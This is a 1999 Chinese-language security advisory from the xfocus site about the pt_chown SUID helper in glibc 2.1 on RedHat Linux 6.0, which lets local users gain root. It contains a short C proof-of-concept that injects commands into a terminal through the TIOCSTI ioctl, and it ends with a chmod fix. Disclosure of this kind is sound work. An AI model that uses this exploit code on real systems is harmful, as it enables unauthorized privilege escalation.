xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Redhat6.0内含pt_chown允许非法用户取得ROOT权利


发布时间:1999-08-21
更新时间:1999-08-21
严重程度:
威胁程度:本地管理员权限
错误类型:意外情况处置错误
利用方式:服务器模式

受影响系统
Linux
GNU glibc 2.1.1-6+ RedHat Linux 6.0 GNU glibc 2.1
详细描述
Glibc2.1.x提供一个SUID程序叫pt_chown,这个程序也跟随Redhat6.0发行,它帮助为非SUID程序分配伪终端,但是其薄弱的安全机制允许用户非法获取root.

测试代码
Linux pt_chown Vulnerability

      

int main(int a,char* b[]) {

char* c="\nclear;echo huhuhu, it
worked...;id;sleep 2\n";

int i=0,x=open(b[1],1); // Expect writable,
allocated

// (eg. by screen) /dev/ttyXX as 1st arg


if (x<0) {
perror(b[1]);
exit(1);
}

if (!fork()) {
dup2(x,3);
execl("/usr/libexec/pt_chown","pt_chown",0);

perror("pt_chown");
exit(1);

}
sleep(1);
for (i;i<strlen(c);i++) ioctl(x,0x5412,&c[i]);



}

解决方案
chmod 700 /usr/libexec/pt_chown

相关信息